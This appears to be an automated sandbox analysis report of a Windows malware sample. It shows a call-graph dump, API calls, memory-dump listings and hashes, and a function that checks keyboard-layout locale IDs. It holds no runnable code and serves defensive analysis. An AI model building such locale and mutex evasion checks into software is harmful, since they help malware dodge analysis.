12696 89d2b7 12692->12696 12693->12681 12695 89cf9a GetPEB ExitProcess GetPEB RtlAllocateHeap 12694->12695 12695->12693 12697 89d16d GetPEB ExitProcess GetPEB RtlAllocateHeap 12696->12697 12697->12693 12700 89d10f 12698->12700 12699 89d14e 12699->12681 12700->12699 12701 89d16d GetPEB ExitProcess GetPEB RtlAllocateHeap 12700->12701 12701->12699 12703 89cf10 12702->12703 12704 89cf75 12703->12704 12705 89cf9a GetPEB ExitProcess GetPEB RtlAllocateHeap 12703->12705 12704->12681 12705->12704 12361 864276 12362 862410 5 API calls 12361->12362 12363 86427f 12362->12363 12199 86a9f4 12210 869230 12199->12210 12201 86aa03 shared_ptr 12202 865c10 6 API calls 12201->12202 12208 86aab3 shared_ptr 12201->12208 12203 86aa65 12202->12203 12204 865c10 6 API calls 12203->12204 12205 86aa8d 12204->12205 12206 865c10 6 API calls 12205->12206 12206->12208 12209 86ad3c shared_ptr __floor_pentium4 12208->12209 12220 898ab6 12208->12220 12213 869284 shared_ptr 12210->12213 12211 865c10 6 API calls 12211->12213 12212 869543 shared_ptr __floor_pentium4 12212->12201 12213->12211 12218 86944f shared_ptr 12213->12218 12214 865c10 6 API calls 12214->12218 12215 8698b5 shared_ptr __floor_pentium4 12215->12201 12216 86979f shared_ptr 12216->12215 12217 865c10 6 API calls 12216->12217 12219 869927 shared_ptr __floor_pentium4 12217->12219 12218->12212 12218->12214 12218->12216 12219->12201 12221 898ad1 12220->12221 12222 898868 4 API calls 12221->12222 12223 898adb 12222->12223 12223->12208 11933 8687b2 11934 8687b6 11933->11934 11935 8687b8 GetFileAttributesA 11933->11935 11934->11935 11936 8687c4 11935->11936 12275 868d30 12276 868d80 12275->12276 12277 865c10 6 API calls 12276->12277 12278 868d9a shared_ptr __floor_pentium4 12277->12278 12294 862170 12295 87c6fc InitializeCriticalSectionEx 12294->12295 12296 86217a 12295->12296 12302 8642b0 12305 863ac0 12302->12305 12304 8642bb shared_ptr 12306 863af9 12305->12306 12307 8632d0 6 API calls 12306->12307 12309 863c38 12306->12309 12311 863b39 __Cnd_destroy_in_situ shared_ptr __Mtx_destroy_in_situ 12306->12311 12307->12309 12308 8632d0 6 API calls 12312 863c5f 12308->12312 12309->12308 12309->12312 12310 863c68 12310->12304 12311->12304 12312->12310 12313 863810 4 API calls 12312->12313 12314 863cdb 12313->12314 12378 8677b0 12379 8677f1 shared_ptr 12378->12379 12380 865c10 6 API calls 12379->12380 12382 867883 shared_ptr 12379->12382 12380->12382 12381 865c10 6 API calls 12384 8679e3 12381->12384 12382->12381 12383 867953 shared_ptr __floor_pentium4 12382->12383 12385 865c10 6 API calls 12384->12385 12387 867a15 shared_ptr 12385->12387 12386 867aa5 shared_ptr __floor_pentium4 12387->12386 12388 865c10 6 API calls 12387->12388 12389 867b7d 12388->12389 12390 865c10 6 API calls 12389->12390 12391 867ba0 12390->12391 12392 865c10 6 API calls 12391->12392 12392->12386 12393 8687b0 12394 8687b6 12393->12394 12395 8687b8 GetFileAttributesA 12393->12395 12394->12395 12396 8687c4 12395->12396 12397 8747b0 12399 874eed 12397->12399 12398 874f59 shared_ptr __floor_pentium4 12399->12398 12400 867d30 7 API calls 12399->12400 12401 8750ed 12400->12401 12436 868380 12401->12436 12403 875106 12404 865c10 6 API calls 12403->12404 12405 875155 12404->12405 12406 865c10 6 API calls 12405->12406 12407 875171 12406->12407 12442 869a00 12407->12442 12437 8683e5 __cftof 12436->12437 12438 865c10 6 API calls 12437->12438 12441 868403 shared_ptr __floor_pentium4 12437->12441 12439 868427 12438->12439 12440 865c10 6 API calls 12439->12440 12440->12441 12441->12403 12443 869a3f 12442->12443 12444 865c10 6 API calls 12443->12444 12445 869a47 12444->12445 12446 868b30 6 API calls 12445->12446 12447 869a58 12446->12447 12319 869ab8 12321 869acc 12319->12321 12322 869b08 12321->12322 12323 865c10 6 API calls 12322->12323 12324 869b7c 12323->12324 12331 868b30 12324->12331 12326 869b8d 12327 865c10 6 API calls 12326->12327 12328 869cb1 12327->12328 12329 868b30 6 API calls 12328->12329 12330 869cc2 12329->12330 12332 868b7c 12331->12332 12333 865c10 6 API calls 12332->12333 12334 868b97 shared_ptr __floor_pentium4 12333->12334 12334->12326

                                                                                                                                                                                                                                                              Executed Functions

                                                                                                                                                                                                                                                              Function 0089652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • ExitProcess.KERNEL32(?,?,0089652A,?,?,?,?,?,00897661), ref: 00896566
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExitProcess
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 621844428-0
                                                                                                                                                                                                                                                              • Opcode ID: 65127d6743ebeb59fd85382408f1cb21b9d7082ec4ce4e4825f3f60ff9fc7ae2
                                                                                                                                                                                                                                                              • Instruction ID: 1b75e7c6fa8460c5e246843ed7f7b6bbfec8d49c0228f73466d8a2d1a85efa7b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 65127d6743ebeb59fd85382408f1cb21b9d7082ec4ce4e4825f3f60ff9fc7ae2
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 88E0CD301415086ECF257B58D91DD8C3B19FF11741F051810FC04C6625DB35DF51C581
                                                                                                                                                                                                                                                              Function 050B0520 Relevance: .1, Instructions: 64COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID:
                                                                                                                                                                                                                                                              • Opcode ID: fc8c71f3a3dc88be9b65d8b719b4447c9718b7c1591fb8909b87a6f546b75a50
                                                                                                                                                                                                                                                              • Instruction ID: f7139145b59a7b2167940b7bb74ed104954f7aaf23c60c1da302e77c0e554fa2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: fc8c71f3a3dc88be9b65d8b719b4447c9718b7c1591fb8909b87a6f546b75a50
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 72F08CE714C211EEB101D2407BFCAFF676EE1D26313708466F843C6901E6D98F4A6231
                                                                                                                                                                                                                                                              Function 00865C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
                                                                                                                                                                                                                                                              • API String ID: 0-3963862150
                                                                                                                                                                                                                                                              • Opcode ID: 98f15f2b3b886deb10bf0d13baf45e63d5fbef90690c355b86655f4a38c5ec6a
                                                                                                                                                                                                                                                              • Instruction ID: f9f77a298784d8abc9236d059fde86155785d768abb20679556fe6df8b3f3403
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 98f15f2b3b886deb10bf0d13baf45e63d5fbef90690c355b86655f4a38c5ec6a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 21F1EF7090024C9BEB24DF58CC85BDEBBB9FB44304F5042A9F419E72C1DBB49A84CB91
                                                                                                                                                                                                                                                              Function 00869BA5 Relevance: 3.1, APIs: 2, Instructions: 140sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 219 869ba5-869d91 call 877a00 call 865c10 call 868b30 call 878220
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: d3fb2d60758b029b07e05f8e4c34d897ae07b30d31d1d98871734cc17668b322
                                                                                                                                                                                                                                                              • Instruction ID: 28ee4708c01827ca2606ed581df55ccb0b6b19a33f7b77fcd37480d9f4272dd2
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d3fb2d60758b029b07e05f8e4c34d897ae07b30d31d1d98871734cc17668b322
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 343118717042048BEB089B7CEDC97ADBB76FB95320F258229E054EB3D5C77599808B52
                                                                                                                                                                                                                                                              Function 00869F44 Relevance: 3.1, APIs: 2, Instructions: 137sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 241 869f44-869f64 245 869f66-869f72 241->245 246 869f92-869fae 241->246 249 869f74-869f82 245->249 250 869f88-869f8f call 87d663 245->250 247 869fb0-869fbc 246->247 248 869fdc-869ffb 246->248 252 869fd2-869fd9 call 87d663 247->252 253 869fbe-869fcc 247->253 254 869ffd-86a009 248->254 255 86a029-86a916 call 8780c0 248->255 249->250 256 86a92b 249->256 250->246 252->248 253->252 253->256 261 86a01f-86a026 call 87d663 254->261 262 86a00b-86a019 254->262 258 86a953-86a994 Sleep CreateMutexA 256->258 259 86a92b call 896c6a 256->259 270 86a996-86a998 258->270 271 86a9a7-86a9a8 258->271 259->258 261->255 262->256 262->261 270->271 273 86a99a-86a9a5 270->273 273->271
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
